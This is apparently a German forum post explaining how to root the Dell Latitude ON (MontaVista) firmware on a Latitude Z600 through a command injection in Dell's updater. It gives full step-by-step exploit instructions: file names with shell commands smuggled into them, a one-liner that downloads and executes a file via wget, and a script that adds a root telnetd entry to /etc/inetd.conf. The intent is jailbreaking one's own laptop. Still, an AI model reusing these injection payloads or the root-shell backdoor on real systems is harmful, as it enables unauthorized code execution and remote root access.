Hallo,
Ich habe es vor kurzem geschafft Motavista (interner Name Montabello)
auf meinem z600 zu rooten, das gleiche Verfahren würde aller
Wahrscheinlichkeit nach auch bei E4200 and E4300 funktionieren.
Zum Jailbrack an sich:
Es besteht eine offizielle Möglichkeit DELL Montavista zu upgraden,
dafür startet man unter Windows ein Upgrade-Tool von DeLL, das eine
Mini-Linux Version über BIOS hochfährt, die als Update gelieferte ipk
Packete nach Mini-Linux schaufelt und installiert. Es wird über USB eine
Netzwerkverbindung zu Mini-Linux aufgebaut, es werden zwei Ports
angesprochen – auf 3675 läuft der Logger, über 3674 das Update-Skript.
Man könnte auf den Gedanken kommen die ipk-Packete auszutauschen, nur
gibt es einen Hacken, die sind signiert und werden mit einer .sig Datei
geliefert. Erst auf der Mini-Linux Seite wird die Signatur überprüft.
Falls die Überprüfung fehlschlägt wird die Datei umgehend gelöscht. Was
mir sofort aufgefallen war dass die Dateinahmen nicht als String in der
Mini-Linux Welt ankommen.
Erklärung:
Es wird folgendes aufgeführt:
1 | ipkg-cl -d root -force-depends -force-reinstall -force-overwrite -force-downgrade install $pkgname
|
2 | rm $pkgname
|
Falls als Dateinahme "test & touch temp.ipk“ übergeben wird, wird
tatsächlich eine temp .ikg Datei angelegt, weil
1 | rm test & touch temp.ipg
|
ankommt.
Zu Testzwecken könnte man eine "blabla ; halt ; bla.ipk“ Datei dem Linux
unterjubeln und das System fährt brav herunter. Die einzige
Einschränkung stellen an der Stelle die unter Windows verbotenen Zeichen
dar, das sind echt viele und gerade die interessantesten wie Pipe,
Grösser-Kleiner Zeichen sind auch darunter.
Abhilfe schafft die Ascii Kodierung, denn man kann so was wie "echo -e
'\076'" übergeben was ein Größer-Zeichen ergibt, Backslash übergibt man
indem ein Unterverzeichnis angelegt wird der das Teil vor dem Backslash
als Namen enthält, darunter eine Datei mit dem Rest des Befehls.
So ist es möglich ein wget von dem lokalem Webserver zu machen und die
Datei anschließend auszuführen.
1 | wget ; wget http`echo -e '\072'``pwd``pwd`192.168.221.10 ; chmod +x index.html ; .`pwd`index.html ; armv6fl.ipk
|
Aber das ist eine echte Männer Variante, es geht auch viel einfacher:
Man macht aus einem Schritt zwei: in dem Ersten Schritt wird eine Datei
uploadet die von dem Updater nicht gelöscht werden kann (weil z.B im
Namen ein Leerzeichen vorkommt), in dem Zweiten Schritt wird die Datei
ausführbar gemacht und gestartet.
Anleitung:
1. Dell Update downloaden:
Dell_Latitude-ON-EX_A00_R262138.exe
oder
Dell_Latitude-ON-EX_A01_R271601.exe
1 | http://ftp.us.dell.com/app/Dell_Latitude-ON-EX_A01_R271601.exe
|
2 | http://ftp.us.dell.com/app/Dell_Latitude-ON-EX_A01_R271601.exe
|
2. Die Exe Datei starten, es wird unter c:/dell/ R262138/ eine
setup.exe Datei angelegt
3. setup.exe Datei ausführen, es wird ein Verzeichnis unter
"C:\Programme\Dell\Dell Latitude ON Firmware Upgrade" angelegt, da
liegen alle ipk. .sig und mpk Dateien die auf ipk verweisen.
Der Hacken "Launch Dell Latitude ON Firmware Upgrade" muss raus.
4. Die mitgelieferte Zip Datei nach "C:\Programme\Dell\Dell Latitude ON
Firmware Upgrade" entpacken oder manuell eingreifen. Eine der mpk
Dateien editieren, folgende zwei Zeilen müssen rein:
1 | telne start.ipk
|
2 | telnet_start ; cp 'telne start.ipk' strt ; chmod +x strt ; .`pwd`strt ; 0071_armv6fl.ipk
|
Vier Dateien anlegen die wie folgt heißen:
1 | telne start.ipk
|
2 | telne start.ipk.sig
|
3 | telnet_start ; cp 'telne start.ipk' strt ; chmod +x strt ; .`pwd`strt ; 0071_armv6fl.ipk
|
4 | telnet_start ; cp 'telne start.ipk' strt ; chmod +x strt ; .`pwd`strt ; 0071_armv6fl.ipk.sig
|
Die Datei "telne start.ipk" enthält(Unix Codierung ist wichtig):
1 | #!/bin/sh
|
2 | echo "23 stream tcp nowait root /usr/sbin/telnetd telnetd -l /bin/login" > /etc/inetd.conf
|
3 | inetd
|
5. DELL Upgrade Starten (DellFirmwareUpgrade.exe unter Win7 mit Admin
Rechten), warten bis präparierte Dateien an der Reihe sind.
6. Per Telnet auf Port 23 Verbinden.
P.S. Wo man landet ist ein Mini-Linux für Updates, das eigentliche
Montavista liegt dann unter mnt und kann ohne weiteres modifiziert
werden. Ich habe in die /mnt/usr/sbin/firefox eine Zeile
/sbin/startxterm hinzugefügt, damit öffnet sich später immer ein xterm
Terminal sobald ich firefox aufrufe. Oder man schmeißt alles unter /mnt
weg und packt NITdroid oder ähnliches drauf (da habe ich aber absolut
kein Plan von).
Viel Spaß Damit!!